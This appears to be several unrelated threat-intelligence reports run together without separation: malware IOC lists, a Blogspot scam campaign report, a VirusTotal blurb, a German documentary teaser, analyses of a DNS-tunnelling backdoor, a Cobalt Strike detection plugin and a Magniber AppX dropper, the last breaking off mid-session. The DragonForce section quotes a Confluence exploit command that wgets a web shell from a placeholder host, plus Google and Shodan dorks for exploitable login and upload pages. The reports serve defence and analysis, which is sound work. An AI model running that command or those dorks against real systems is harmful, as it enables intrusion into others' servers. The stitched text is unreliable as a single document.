Payment Notification.uue | b7cf6fb7557f435bab1b815a38b1771aea9d118192f6d184111754615e8881af | | bank payment copy.exe | 136991b95c503e13d7ed77305a305f6f568c9d93273584d19a33014202a6ebbb | | Payment docs63878288882788.docx.rar | 44221603cb9e19a630e35bd12a9c8bd97a9d2743a6fc5528e81db0718fc3e1b3 | | Attachment JOIN LEADERS PO332,pdf.exe | 167139073c586fd0d7de374611f899e170fd0316463be6c65170496636b3e42d | | APROBACION DE TRANSFERENCIA INUSUAL REALIZADA EXITOSAMENTE.tar | 0e044c8570122a280c963cac80e0140da78ee0d378cd17cab4ea6f146ce35d15 | In some cases, the attached files are Office Documents that download the Agent Tesla loader. ### W3Cryptolocker Ransomware W3Cryptolocker is a relatively new ransomware. Based on our telemetry, this ransomware surfaced in July 2020. We will call this malware W3Cryptolocker, based on a string found in its code. The loader was hosted on a potentially hacked site, italake.com. It will encrypt all files in all drives except for files having “.xls” extension and folders having the following strings: - Windows - ProgramData - $Recycle.bin - System Volume Information It adds an extension .xls for encrypted files. After it is done encrypting each folder, it creates a “Read_Me.txt” file in each folder with a message. ### Redline Stealer Redline Stealer is a malware that surfaced around March 2020 and it was reported to have targeted healthcare and manufacturing industries in the United States. This malware is found being advertised on forums with several pricing options starting from $100/month subscription. It has the following functionality: - **Browser Data Stealer** - Login and Passwords - Cookies - Autocomplete Fields - Credit Cards - **Remote Task Functions** - Execute Commands - Download Files - Download Files and Execute - RunPE (Process Injection for fileless infection) - OpenLink - **FTP and IM client stealer** - **File-grabber** - **Collects information about the victim’s system** The sample we found poses as a Bitcoin Miner archived into a RAR file. The archive contains an executable, **MinerBitcoin.exe**, that downloads the Redline Stealer payload from paste.nrecom.net. **Infection Chain of Redline Stealer: Sha256:** ``` a719affc96b41b63f78d03dc3bc6b7340287d25d876e58fd1ab307169a1751dc ``` ### LimeRAT LimeRAT is a remote administration trojan coded in .NET and is open source. It was a malware used to target Colombian government institutions by the APT-C-36 group. Among its many capabilities, it can be used as: - Ransomware - Remote Desktop - Crypto Mining - CryptoStealer - DDOS - Keylogger - Password Stealer Another sample we found is **aae2e0d0792e22164b3c81d0051c5f94a293bae69e7aac5cc4ad035860dbf802**. At the time of this analysis, this sample still has zero VT detections. It downloads the LimeRAT from paste.nrecom.net. ## Conclusion Using legitimate web services like pastebin or paste.nrecom for malware infrastructure gives cybercriminals an advantage, as these services cannot be easily taken down due to their legitimate use. We recommend Security Operations to add paste.nrecom to potentially web services being abused for malicious purposes. It is recommended to monitor web services like this one for suspicious content, particularly binary data encoded in base64. Juniper’s Encrypted Traffic Insights capability on the SRX NGFW does detect the malicious TLS connections to paste.nrecom.net as malicious using machine learning. ## Indicators of Compromise (IOC) **Domain** - paste.nrecom.net - 192.12.66.108 - lol.thezone.vip **URL** ``` http://198[.]12[.]66[.]108/v[.]exe http://lol[.]thezone[.]vip/v[.]exe http://italake[.]com/assets/css/0022[.]exe https://paste[.]nrecom[.]net/view/raw/3c3ececf https://paste[.]nrecom[.]net/view/raw/6306a51c https://paste[.]nrecom[.]net/view/raw/bfefa179 https://paste[.]nrecom[.]net/view/raw/39468747 https://paste[.]nrecom[.]net/view/raw/c230a816 https://paste[.]nrecom[.]net/view/raw/3529ec57 https://paste[.]nrecom[.]net/view/raw/7900ed08 https://paste[.]nrecom[.]net/view/raw/bd63e76f https://paste[.]nrecom[.]net/view/raw/658b9281 https://paste[.]nrecom[.]net/view/raw/b44fe71a https://paste[.]nrecom[.]net/view/raw/93a7cd20 https://paste[.]nrecom[.]net/view/raw/d8aedaf6 https://paste[.]nrecom[.]net/view/raw/91aec4e7 https://paste[.]nrecom[.]net/view/raw/4736837b https://paste[.]nrecom[.]net/view/raw/aec14685 https://paste[.]nrecom[.]net/view/raw/c7dfc858 https://paste[.]nrecom[.]net/view/raw/bebcab0a https://paste[.]nrecom[.]net/view/raw/bfbb1544 https://paste[.]nrecom[.]net/view/raw/7f41da66 https://paste[.]nrecom[.]net/view/raw/0d9233c8 https://paste[.]nrecom[.]net/view/raw/4f789f73 https://paste[.]nrecom[.]net/view/raw/6550c073 https://paste[.]nrecom[.]net/view/raw/3066146f https://paste[.]nrecom[.]net/view/raw/019f27dd https://paste[.]nrecom[.]net/view/raw/04fba6cb ``` **Sha256** ``` 9c38ab9d806417e89e3c035740421977f92a15c12f9fa776ac9665a1879e5f67 Ede98ae4e8afea093eae316388825527658807489e5559bff6dbf5bc5b554a2c cb1da05bac46d1aeb0eeec67b2249aa8f539784c4a9ff9245b4ed4a8937ccd0f 337f28a9250592d0ebc58f5a913114df82e69ef4c44243191204adfa61f9819b 8d804533708c03ed4236be70e113a419ce1c8d8a5c36baa755cb7b787f29f54f 20ad344d20337f8a782135e59bc1f6e1a7999bcddc50fc1dc3b8b6645abcb91e bc2e03ca292da305602c8755453fa87073810a6359f2ec9a0935fe3bb51ef886 4f31265917db7d9abbdf4b6378da0822158cc9b4bff1904adad63a87cfa82f2e 3d3ab28f09d5736fcd2215fb6395e7b15e6e9f1f86931b1d3d956c70879e9d33 a78cce9dc644987d3404335cefeca9833ea5f69a36b2da05e5a86505c862d867 29f7eb242d7ddcaacfaac36f036081abc28ba48faaaf9fca601725a6ed160637 62fa4dea77f33cfe294110457af90d2ccd0fc32f3d37c9ddf7a0457ed8f315ee 9c0b50ba7ea383bf16b25ea12a830d5c63c5c995ab2f494dc270137ecfd31701 3c940fdf850d0e6211b340564357094fa8ddb81351789bfd43465efa2e52acfd 59bf368c532ca20de17fdaaee2160451ae8c8f7cafd8d3c7adb263dd0978e918 b9e094892d6ed3b3eba5b56416d31b5ea635cf666ddf67ff4eb62475db7371ca 9b876e4ddeaf0d950860db4942d9be1507453ba1065a03672de41dfb287b2511 f8ef2da125ebd0f972969d12f28964a00954bad6e4f804bd1db8c0507e751bc9 f679912dbe6576989cd541b866f5f3a7a2423b1a6f92cc189a12fbffc42b926d 1e4b7d7868d25071db67da87392fd5dafab344a9fa6dc040f7afb0699152fc13 1a8573f9acba3f7d8863043223fb1d6ef4b52ad5bb4cdcb5e178e935b25b40e3 94b9c9154a23db8df436f4cdda225d9bd28dfae325dfe68e034462d70245fb0e a7f337587cdd0e9a1fb013da274293d207815843f778c714e75693cd2c8e5f11 ```
# Scamdemic Outbreak **Scammers attack users in Middle Eastern countries** *Yakov Kravtsov* *Head of Digital Risk Research team* *Evgeny Egorov* *Lead Digital Risk Protection analyst* ## Introduction In spring 2021, Group-IB Digital Risk Protection (DRP) analysts identified a fraud scheme targeting users in Arabic-speaking countries. As part of their attacks, the threat actors abused more than 130 well-known brands worldwide from sectors such as telecommunications, retail, entertainment, etc. In total, Group-IB analysts discovered more than 4,300 fraudulent pages created on Blogspot, a popular blogging service. The webpages were all registered by a group that included more than 100 accounts. The scammers used a tried-and-tested scheme involving giveaways supposedly by popular brands, lottery games purporting to be recommended by celebrities, and fake job offers from the government. The threat actors used such lures to steal personal data or attract traffic to other fraudulent websites. More than 500,000 people per month visit the end websites involved in the scheme. ## How the Scheme Works Users fall victim to the schemes by agreeing to take part in a promotion supposedly organized by a famous brand, a government organization, or a celebrity. Victims are promised they could win a prize or money, play the "wheel of fortune," or get a job by completing a survey. Victims may be asked to enter their full names, phone numbers, places of residence, education details, and desired place of work. Regardless of the answers or where the wheel of fortune stops, victims become "winners." After completing the survey or playing the wheel of fortune, victims are asked to share the link to the website or a similar one with a lottery game with 5-20 WhatsApp contacts. The scammers do so to widen the pool of their potential victims. After the victim sends the required number of messages, they are redirected to another fraudulent resource: other lottery games, scam dating websites, and websites with fake browser extension installations. In the worst-case scenario, victims may end up on a malicious or phishing website. Telecommunications companies have been the main target for threat actors. Fraudsters have abused at least 47 telecom brands as part of their scheme. In addition to the telecommunications sector, brands in the retail, entertainment, and automotive sectors have been affected. In addition to company brands, scammers abused personal brands of public figures, especially the Saudi royal family. The fraudulent campaign targeted 16 Arabic-speaking countries: Saudi Arabia, Kuwait, Jordan, Sudan, Morocco, Egypt, Bahrain, Iraq, Yemen, Palestine, the United Arab Emirates (UAE), Algeria, Lebanon, Qatar, Syria, and Oman. The attack also targeted English-speaking users from Turkey and Nigeria. The fraudsters did not always use popular brands or celebrities on their websites. Group-IB DRP specialists also discovered fake dating websites and fake lottery games. To lure users to scam websites, the fraudsters sent bulk WhatsApp messages and used pop-up windows and Google Ads. The first Blogspot account related to the fraudster group was registered in August 2013. Account registrations peaked in 2018, and the threat actors continued creating new accounts in 2019 and 2020. To this day, on some of the accounts, the fraudsters continue to create fraudulent pages that abuse many brands. ## How the Threat Group Operates Using Blogspot service as part of their schemes is typical for the threat group in question. In addition to registering fake pages that mimic the websites of well-known brands, the scammers use Blogspot as a data storage space or a content delivery network (CDN) to store media content and webpage code. In some cases, such data is uploaded to individual domains, which allows the fraudsters to save on hosting services. The scammers can also use Blogspot as a link shortening service and redirect users to fraudulent domains. Search engines consider such links safe and do not show any warnings about the website being potentially dangerous. It is difficult to detect the page from which visitors are redirected, especially when it comes to regular users, because the redirection is instant and users simply do not notice that they have been redirected. ## Attack Attribution Finding links between elements of the fraudster group's infrastructure is relatively easy. In addition to identical names (51.9% of the profiles had "od.company" in their names), the registered accounts interlink each other and use the same servers, groups of domains, and links for sharing on WhatsApp. All the above factors mean that it is highly likely that the profiles belong to a single threat group. The threat group uses more than 100 accounts, and that number keeps growing. For instance, over the first six months of this year, we have observed a 54% surge in the number of pages on these accounts. The earliest accounts related to the threat group were registered in 2013, which is surprising because fraudulent pages are usually active for no longer than a few months. Yet this group has been operating for at least six years. In addition to Blogspot, the threat group uses many other tools, including social media ads and mass messaging in messaging apps. ## How to Avoid Falling Victim to Fraud 1. Be cautious while following links that allegedly lead to the website of a specific company, a celebrity, or a state agency and trust links from the official resources only — verified accounts on social media or messengers. 2. Enter confidential data and bank card details on trusted websites only. 3. When visiting links relating to offers by companies shared in messaging apps or on social media, check the domain names. Fraudsters usually use domain names that sound similar to brand names. 4. Verify the information about promotions and giveaways on the official accounts of brands, state agencies, or celebrities. ## Recommendation for Rightsholders 1. Monitor and analyze complaints of the company's customers who fell victim to scammers. 2. Monitor online resources to promptly detect the illegal use of the company's name or trademark. 3. To prevent the illegal use of your intellectual property assets, use Digital Risk Protection (DRP) solutions that help promptly detect threats to a specific brand in the online space and then send them for blockage.
# VirusTotal Analyze suspicious files and URLs to detect types of malware, automatically share them with the security community. VT not loading? Try our minimal interface for old browsers instead.
# Der Mann in Merkels Rechner - Jagd auf Putins Hacker Es ist der spektakulärste Fall von Cyber-Spionage, den es in Deutschland je gegeben hat: Im Frühjahr 2015 greifen Hacker den Deutschen Bundestag an und hacken sich in die Computer von Abgeordneten. Einer der Hacker dringt sogar auf den Rechner von Bundeskanzlerin Angela Merkel vor. Bis heute weiß die Öffentlichkeit nicht, welche Daten gestohlen wurden und was der Hacker damit gemacht hat. Jahrelang bleibt der Mann in Merkels Rechner ein Phantom. Ist er wirklich ein russischer Geheimdienst-Mitarbeiter, wie manche Experten glauben? Doch dann kommt aus den USA ein entscheidender Hinweis, und die Hacker-Jagd der deutschen Ermittler kommt endlich in Fahrt. Am Ende gelingt ihnen ein seltener Coup: Sie finden heraus, wer der Mann auf Merkels Rechner war, wie er heißt und für wen genau er arbeitet.
# Use of DNS Tunneling for C&C Communications **Authors** Alexey Shulmin Sergey Yunakovsky Network communication is a key function for any malicious program. Yes, there are exceptions, such as cryptors and ransomware Trojans that can do their job just fine without using the Internet. However, they also require their victims to establish contact with the threat actor so they can send the ransom and recover their encrypted data. If we omit these two and have a look at the types of malware that have no communication with a C&C and/or threat actor, all that remains are a few outdated or extinct families of malware (such as Trojan-ArcBomb), or irrelevant, crudely made prankware that usually does nothing more than scare the user with screamers or switches mouse buttons. Malware has come a long way since the Morris worm, and the authors never stop looking for new ways to maintain communication with their creations. Some create complex, multi-tier authentication and management protocols that can take weeks or even months for analysts to decipher. Others go back to the basics and use IRC servers as a management host – as we saw in the recent case of Mirai and its numerous clones. Often, virus writers don’t even bother to run encryption or mask their communications: instructions and related information are sent in plain text, which comes in handy for a researcher analyzing the bot. This approach is typical of incompetent cybercriminals or even experienced programmers who don’t have much experience developing malware. However, you do get the occasional off-the-wall approaches that don’t fall into either of the above categories. Take, for instance, the case of a Trojan that Kaspersky Lab researchers discovered in mid-March and which establishes a DNS tunnel for communication with the C&C server. The malicious program in question is detected by Kaspersky Lab products as Backdoor.Win32.Denis. This Trojan enables an intruder to manipulate the file system, run arbitrary commands, and run loadable modules. ## Encryption Just like lots of other Trojans before it, Backdoor.Win32.Denis extracts the addresses of the functions it needs to operate from loaded DLLs. However, instead of calculating the checksums of the names in the export table (which is what normally happens), this Trojan simply compares the names of the API calls against a list. The list of API names is encrypted by subtracting 128 from each symbol of the function name. It should be noted that the bot uses two versions of encryption: for API call names and the strings required for it to operate, it does the subtraction from every byte; for DLLs, it subtracts from every other byte. To load DLLs using their names, LoadLibraryW is used, meaning wide strings are required. ### ‘Decrypting’ strings in the Trojan It should also be noted that only some of the functions are decrypted like this. In the body of the Trojan, references to extracted functions alternate with references to functions received from the loader. ## C&C Communication The principle behind a DNS tunnel’s operation can be summed up as: “If you don’t know, ask somebody else”. When a DNS server receives a DNS request with an address to be resolved, the server starts looking for it in its database. If the record isn’t found, the server sends a request to the domain stated in the database. Let’s see how this works when a request arrives with the URL Y3VyaW9zaXR5.example.com to be resolved. The DNS server receives this request and first attempts to find the domain extension ‘.com’, then ‘example.com’, but then it fails to find ‘Y3VyaW9zaXR5.example.com’ in its database. It then forwards the request to example.com and asks it if such a name is known to it. In response, example.com is expected to return the appropriate IP; however, it can return an arbitrary string, including C&C instructions. This is what Backdoor.Win32.Denis does. The DNS request is sent first to 8.8.8.8, then forwarded to z.teriava[.]com. Everything that comes before this address is the text of the request sent to the C&C. Here is the response: DNS packet received in response to the first request Obviously, the request sent to the C&C is encoded with Base64. The original request is a sequence of zeros and the result of GetTickCount at the end. The bot subsequently receives its unique ID and uses it for identification at the start of the packet. The instruction number is sent in the fifth DWORD, if we count from the start of the section highlighted green in the diagram above. Next comes the size of the data received from C&C. The data, packed using zlib, begins immediately after that. ### The unpacked C&C response The first four bytes are the data size. All that comes next is the data, which may vary depending on the type of instruction. In this case, it’s the unique ID of the bot, as mentioned earlier. We should point out that the data in the packet is in big-endian format. ### C&C Instructions Altogether, there are 16 instructions the Trojan can handle, although the number of the last instruction is 20. Most of the instructions concern interaction with the file system of the attacked computer. Also, there are capabilities to gain info about open windows, call an arbitrary API, or obtain brief info about the system. Let us look into the last of these in more detail, as this instruction is executed first. ### Complete list of C&C instructions As can be seen in the screenshot above, the bot sends the computer name and the user name to the C&C, as well as the info stored in the registry branch Software\INSUFFICIENT\INSUFFICIENT.INI: - Time when that specific instruction was last executed. (If executed for the first time, ‘GetSystemTimeAsFileTime’ is returned, and the variable BounceTime is set, in which the result is written); - UsageCount from the same registry branch. Information about the operating system and the environment is also sent. This info is obtained with the help of NetWkstaGetInfo. The data is packed using zlib. ### The DNS response prior to Base64 encoding The fields in the response are as follows (only the section highlighted in red with data and size varies depending on the instruction): - Bot ID; - Size of the previous C&C response; - The third DWORD in the C&C response; - Always equals 1 for a response; - GetTickCount(); - Size of data after the specified field; - Size of response. After the registration stage is complete, the Trojan begins to query the C&C in an infinite loop. When no instructions are sent, the communication looks like a series of empty queries and responses. ### Sequence of empty queries sent to the C&C ## Conclusion The use of a DNS tunneling for communication, as used by Backdoor.Win32.Denis, is a very rare occurrence, albeit not unique. A similar technique was previously used in some POS Trojans and in some APTs (e.g. Backdoor.Win32.Gulpix in the PlugX family). However, this use of the DNS protocol is new on PCs. We presume this method is likely to become increasingly popular with malware writers. We’ll keep an eye on how this method is implemented in malicious programs in future. **MD5** facec411b6d6aa23ff80d1366633ea7a 018433e8e815d9d2065e57b759202edc 1a4d58e281103fea2a4ccbfab93f74d2 5394b09cf2a0b3d1caaecc46c0e502e3 5421781c2c05e64ef20be54e2ee32e37 **Tags** Backdoor DNS Malware Descriptions Malware Technologies Trojan
# Techniques, Tactics & Procedures (TTPs) Employed by Hacktivist Group DragonForce Malaysia **Category:** Adversary **Industry:** Multiple **Motivation:** Hacktivism **Country:** India ## Executive Summary **THREAT** DragonForce has been actively targeting Indian entities under #OpsPatuk and #OpsIndia. Threat actor groups from Pakistan, Turkey, and Palestine have joined the campaign. **IMPACT** Breach of some sensitive government websites containing PII, military operations, and other government secrets. **MITIGATION** Implement Anti-DDoS technologies. Utilize specially designed network equipment. Internet hosting providers and Government Cyber Response Teams should be on high alert. ## Analysis & Attribution ### Information from Social Media On 10 June 2022, CloudSEK’s contextual AI digital risk platform XVigil discovered a Tweet posted by the Malaysian hacktivist group, DragonForce, calling for attacks on Indian Government websites by Muslim hackers worldwide. The group’s primary objective was to retaliate against the Indian Government for controversial comments on Prophet Muhammad by some Indian politicians. Since then, the group and its supporters have compromised more than 3,000 government and non-government organizations, military websites, and private entities, including BJP, Army veteran websites, and academic institutes. ### About their Servers The group uses two DNS servers, “annabel.ns.cloudflare.com” and “nicolas.ns.cloudflare.com,” with IP addresses 104.21.35.227 and 172.67.180.87, respectively. The DragonForce domain was discovered to be hosted alongside multiple Russian, Australian, Chinese, and other websites, including adult domains. ## Techniques, Tactics, & Procedures (TTPs) The three primary attack vectors used by the group and its supporters are as follows: - **Google Dorking** - **Shodan Dorks** - **DDoS Attacks** ### Google Dorks Google Dorks are the primary source of the group's targets. The Google Dorks list included dorks for finding various educational institutions, with significant dorks such as: - `inurl:/login/login.php` for Admin logins - `inurl:/admin/upload/` for Ministry of Knowledge & Resource sharing - `php?id=` for Indian sites with ID parameter - `inurl/mnux` for academic login - `inurl:/admin/cp.php` reveals all sites with Control panel access - `inurl:admin/upload.php` for sites with upload features that can be exploited ### Shodan Dorks and Atlassian Confluence Vulnerability A PoC was shared for the exploit of the Atlassian Confluence vulnerability along with the Shodan dork for Confluence Server vulnerabilities targeted towards the Indian region. **Shodan Dork:** `http.favicon.hash:-305179312 country:"IN"` The actor also shared a GitHub repository script which can be exploited using the following command: `CVE-2022-26134.py http://targets.com “wget https://site.com/shell.txt -O DFM.php` ### DDoS Attacks (HTTP Flooding) The group invited its members to conduct DDoS attacks, sharing an infographic stating the website, IP addresses, and the port of the target. They used a tool called HTTPFLOOD, which manipulates and posts unwanted requests to bring down a web server or application. The tool requires: - A target URL - A Proxy list - Number of threads (count of requests to be sent to the server) The user 'SKYSG404' built the HTTPFLOOD tool, created on 12 June 2022. ### Compromising Servers A large number of domains being targeted resolved to a common IP where they were hosted. The attackers gained access to the server via an injection vulnerability on one of the websites. Once a server is compromised, all websites hosted on it are at risk. Almost 61% of the compromised domains belonged to E2ENetworks.in, based in Delhi, India, while 20.8% belonged to Atria Convergence Technologies Pvt. Ltd. ## Impact & Mitigation **Impact** Escalation of such campaigns can lead to severe consequences for the Indian government and entities. Exposed data would equip malicious actors with details required to launch sophisticated attacks. Attacks on defense infrastructure can lead to sensitive information being compromised, posing a national security issue. **Mitigation** - Patch vulnerable and exploitable endpoints. - Monitor for anomalies in user accounts and internet-exposed web applications. - Scan repositories to identify exposed credentials and secrets. - Monitor cybercrime forums for the latest tactics employed by threat actors.
# Volatility Plugin for Detecting Cobalt Strike Beacon JPCERT/CC has observed some Japanese organisations being affected by cyber attacks leveraging “Cobalt Strike” since around July 2017. It is a commercial product that simulates targeted attacks, often used for incident handling exercises, and likewise it is an easy-to-use tool for attackers. Reports from LAC and FireEye describe details on Cobalt Strike and actors who conduct attacks using this tool. Cobalt Strike is delivered via a decoy MS Word document embedding a downloader. This will download a payload (Cobalt Strike Beacon), which will be executed within the memory. Since Cobalt Strike Beacon is not saved on the filesystem, whether a device is infected cannot be confirmed just by looking for the file itself. There is a need to look into memory dump or network device logs. This article is to introduce a tool that we developed to detect Cobalt Strike Beacon from the memory. It is available on GitHub. ## Tool details This tool works as a plugin for The Volatility Framework (hereafter “Volatility”), a memory forensic tool. Here are the functions of `cobaltstrikescan.py`: - `cobaltstrikescan`: Detect Cobalt Strike Beacon from memory image - `cobaltstrikeconfig`: Detect Cobalt Strike Beacon from memory image and extract configuration To run the tool, save `cobaltstrikescan.py` in the “contrib/plugins/malware” folder in Volatility, and execute the following command: ``` python vol.py [cobaltstrikescan|cobaltstrikeconfig] –f <memory.image> ––profile=<profile> ``` Figure 1 shows an example output of `cobaltstrikescan`. You can see the detected process name (Name) and process ID (PID) indicating where the malware is injected to. Figure 2 shows an example output of `cobaltstrikeconfig`. Please refer to Appendix A for configuration details for Cobalt Strike Beacon. ## In closing Actors using Cobalt Strike continue attacks against Japanese organisations. We hope this tool helps detecting the attack in an early stage. - Takuya Endo (Translated by Yukako Uchida) ## Appendix A ### Table A: Configuration format | Offset | Length | Description | |--------|--------|-------------| | 0x00 | 2 | index (Refer to Table B) | | 0x02 | 2 | Data length (1 = 2 byte, 2 = 4 byte, 3 = as specified in 0x04) | | 0x04 | 2 | Data length | | 0x06 | As specified in 0x04 | Data | ### Table B: Configuration | Offset | Description | Remarks | |--------|-------------|---------| | 0x01 | BeaconType | 0=HTTP, 1=Hybrid HTTP and DNS, 8=HTTPS | | 0x02 | Port number | | 0x03 | Polling time | | 0x04 | Unknown | | 0x05 | Jitter | Ratio of jitter in polling time (0-99%) | | 0x06 | Maxdns | Maximum length of host name when using DNS (0-255) | | 0x07 | Unknown | | 0x08 | Destination host | | 0x09 | User agent | | 0x0a | Path when communicating | | 0x0b | Unknown | | 0x0c | HTTP_Header1 | | 0x0d | HTTP_Header2 | | 0x0e | Injection process | | 0x0f | Pipe name | | 0x10 | Year | Stops operating after the specified date by Year, Month, Day | | 0x11 | Month | | 0x12 | Day | | 0x13 | DNS_idle | | 0x14 | DNS_Sleep | | 0x1a | HTTP_Method1 | | 0x1b | HTTP_Method2 | | 0x1c | Unknown | | 0x1d | Process to inject arbitrary shellcode (32bit) | | 0x1e | Process to inject arbitrary shellcode (64bit) | | 0x1f | Unknown | | 0x20 | Proxy server name | | 0x21 | Proxy user name | | 0x22 | Proxy password | | 0x23 | AccessType | 1 = Do not use proxy server, 2 = Use IE configuration in the registry, 4 = Connect via proxy server | | 0x24 | create_remote_thread | Flag whether to allow creating threads in other processes | | 0x25 | Not in use |
# Analyzing a Magnitude EK Appx Package Dropping Magniber In this post, I’ll work through analyzing an AppX package from the Magnitude Exploit Kit that drops Magniber. This adventure comes courtesy of a tweet from @JAMESWT_MHT: Some #Magniber samples — JAMESWT (@JAMESWT_MHT) January 1, 2022 This caught my interest because AppX packages have gotten some mileage as droppers lately courtesy of Bazar and Emotet. If you want to play along from home, the file I’m analyzing is here: Analyzing the AppX Package To start off, let’s get a handle on what kind of file an AppX package is. We can do this using `file`. ``` remnux@remnux:~/cases/magnitude/update$ file edge_update.appx edge_update.appx: Zip archive data, at least v4.5 to extract ``` The `file` command says the magic bytes for the file correspond to a zip archive. This is common with application or package archives like AppX, JARs, and more. If we want more confirmation we can always look at the first few bytes with `hexdump` and `head`. ``` remnux@remnux:~/cases/magnitude/update$ hexdump -C edge_update.appx | head 00000000 50 4b 03 04 2d 00 08 00 00 00 f8 6e 9d 53 00 00 |PK..-......n.S..| 00000010 00 00 00 00 00 00 00 00 00 00 26 00 00 00 49 6d |..........&...Im| ... ``` Yup, looks like a zip file based on `50 4b 03 04`! That means we can unpack the archive using `unzip`. ``` remnux@remnux:~/cases/magnitude/update$ unzip edge_update.appx Archive: edge_update.appx extracting: Images/Square150x150Logo.scale-150.png extracting: Images/Wide310x150Logo.scale-150.png extracting: Images/SmallTile.scale-150.png extracting: Images/LargeTile.scale-150.png extracting: Images/BadgeLogo.scale-150.png extracting: Images/SplashScreen.scale-150.png extracting: Images/StoreLogo.scale-150.png extracting: Images/Square44x44Logo.targetsize-32.png extracting: Images/Square44x44Logo.altform-unplated_targetsize-32.png extracting: Images/Square44x44Logo.scale-150.png extracting: Images/Square44x44Logo.altform-lightunplated_targetsize-32.png inflating: eediwjus/eediwjus.exe inflating: eediwjus/eediwjus.dll inflating: resources.pri inflating: AppxManifest.xml inflating: AppxBlockMap.xml inflating: [Content_Types].xml inflating: AppxMetadata/CodeIntegrity.cat inflating: AppxSignature.p7x ``` With the archive unzipped, we can focus on significant files within the package. These are: - `AppxManifest.xml` (list of properties and components used by the AppX package) - `AppxSignature.p7x` (AppX Signature Object, contains code signatures for AppX Package) - `eediwjus/eediwjus.exe` (non-default content that is likely executable) - `eediwjus/eediwjus.dll` (non-default content that is likely executable) First, we can look at the `AppxManifest.xml` file. I’ve included the points of interest below. ```xml <?xml version="1.0" encoding="utf-8"?> <Package xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10" xmlns:uap="http://schemas.microsoft.com/appx/manifest/uap/windows10" xmlns:rescap="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities" IgnorableNamespaces="uap rescap build" xmlns:build="http://schemas.microsoft.com/developer/appx/2015/build"> <Identity Name="3669e262-ec02-4e9d-bcb4-3d008b4afac9" Publisher="CN=Foresee Consulting Inc., O=Foresee Consulting Inc., L=North York, S=Ontario, C=CA, SERIALNUMBER=1004913-1, OID.1.3.6.1.4.1.311.60.2.1.3=CA, OID.2.5.4.15=Private Organization" Version="96.0.1072.0" ProcessorArchitecture="neutral" /> <Properties> <DisplayName>Edge Update</DisplayName> <PublisherDisplayName>Microsoft Inc</PublisherDisplayName> <Logo>Images\StoreLogo.png</Logo> </Properties> ... <Applications> <Application Id="App" Executable="eediwjus\eediwjus.exe" EntryPoint="Windows.FullTrustApplication"> ... </Application> </Applications> <Capabilities> <Capability Name="internetClient" /> <rescap:Capability Name="runFullTrust" /> </Capabilities> </Package> ``` First, let’s take a look at the Identity and Properties sections. Identity contains code signature information that should theoretically be included within the `AppxSignature.p7x` file. The Properties section contains metadata the Windows Store/Universal Windows App interface uses to identify the app. From the name `Edge Update` and publisher name `Microsoft Inc`, it appears the malware wants to masquerade as a Microsoft Edge browser update. Note how there is no link or control between the publisher display name and the actual signing identity. This is a major problem for victims trying to be sure of themselves. The Application section identifies the EXE that will execute when the package is installed and run. In this sample, the EXE is `eediwjus.exe`. In the package content, there is also a DLL, but that isn’t mentioned in the manifest. A possibility to explore might be that the EXE uses content from the DLL for execution. Finally, the Capabilities section shows the app will execute with `internetClient` and `runFullTrust` capabilities. Documented by Microsoft, these capabilities just mean the app can download stuff from the Internet. Now we can jump into the executable content, the EXE file. ## Analyzing the Application Executable The EXE has these hashes: - filepath: eediwjus.exe - md5: 3439bbe95df314d390cc4862cdad94fd - sha1: 92429885d54a05ed87a5c14d34aa504c28ea8b54 - sha256: ad4f74c0c3ac37e6f1cf600a96ae203c38341d263dbac0741e602686794c4f5a - ssdeep: 48:6/yaz1YKkikwFJSDq6tPRqBHwOul2a3iq:yz1fkigtJkGYK - imphash: f34d5f2d4577ed6d9ceec516c1f5a744 Note the import table hash starting with `f34d`. That specific import table hash commonly appears with .NET binaries, so if you pivot on it in VT or other tools, you’ll find a lot of .NET. Using `Detect It Easy` in REMnux, we can confirm the executable is a .NET binary. ``` remnux@remnux:~/cases/magnitude/update/eediwjus$ diec eediwjus.exe filetype: PE32 arch: I386 mode: 32-bit endianess: LE type: GUI library: .NET(v4.0.30319)[-] linker: Microsoft Linker(11.0)[GUI32] ``` So let’s take a peek with `floss` from Mandiant to see if there are signs of obfuscation. There aren’t any signs of obfuscation like randomized, high-entropy strings, but we do get some interesting strings. ``` mscorlib System Object mhjpfzvitta Main .ctor lpBuffer args System.Runtime.Versioning TargetFrameworkAttribute System.Security.Permission s SecurityPermissionAttribute e SecurityAction System.Runtime.CompilerServices CompilationRelaxationsAttribute RuntimeCompatibilityAttribute System.Runtime.InteropServices DllImportAttribute eediwjus.dll ``` Sure enough, the EXE references the DLL in the same folder, and it includes the string `DllImportAttribute`. This is a good sign that the EXE will load an unmanaged DLL and call an export from it. Unobfuscated .NET code is usually pretty easy to decompile from bytecode form into source, so we can give that a shot with `ilspycmd`. If you’re on Windows you can also use `ILSpy` or `DNSpy`. The result is a pretty brief source file: ```csharp using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Runtime.Versioning; using System.Security; using System.Security.Permissions; [assembly: TargetFramework(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] [assembly: CompilationRelaxations(8)] [assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)] [assembly: SecurityPermission(8, SkipVerification = true)] [assembly: AssemblyVersion("0.0.0.0")] [module: UnverifiableCode] namespace eediwjus { public class eediwjus { [DllImport("eediwjus.dll")] private static extern void mhjpfzvitta(uint lpBuffer); private static void Main(string[] args) { uint lpBuffer = 5604u; mhjpfzvitta(lpBuffer); } } } ``` The entry point for the program is the `Main` function inside the `eediwjus` class. The `DllImport` code imports the function `mhjpfzvitta()` from the DLL and calls it with the argument `lpBuffer`. That argument contains an unsigned integer value of 5604. `lpBuffer` appears loads of times in Microsoft documentation around Windows calls like `VirtualAlloc` and others that need a buffer of memory for operation. It stands to reason that `lpBuffer` here might correspond to some form of a memory management call. ## Analyzing the Magniber DLL The DLL has these hashes: - filepath: eediwjus.dll - md5: e7e4878847d31c4de301d3edf7378ecb - sha1: a93d0f59b3374c6d3669a5872d44515f056e9dbf - sha256: f423bd6daae6c8002acf5c203267e015f7beb4c52ed54a78789dd86ab35e46c6 - ssdeep: 96:qUG6xykl2J6lc5irN3qjNu47Ru/8IAgecgKDD:qsQMl0u3qjA47RuZAhk Our `pehash` command didn’t find an import table hash, so that’s interesting. There may not be an import table in this binary or it might be mangled. We can take a look using the Python `pefile` library. ``` remnux@remnux:~/cases/magnitude/update/eediwjus$ python3 Python 3.8.10 (default, Nov 26 2021, 20:14:08) [GCC 9.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import pefile 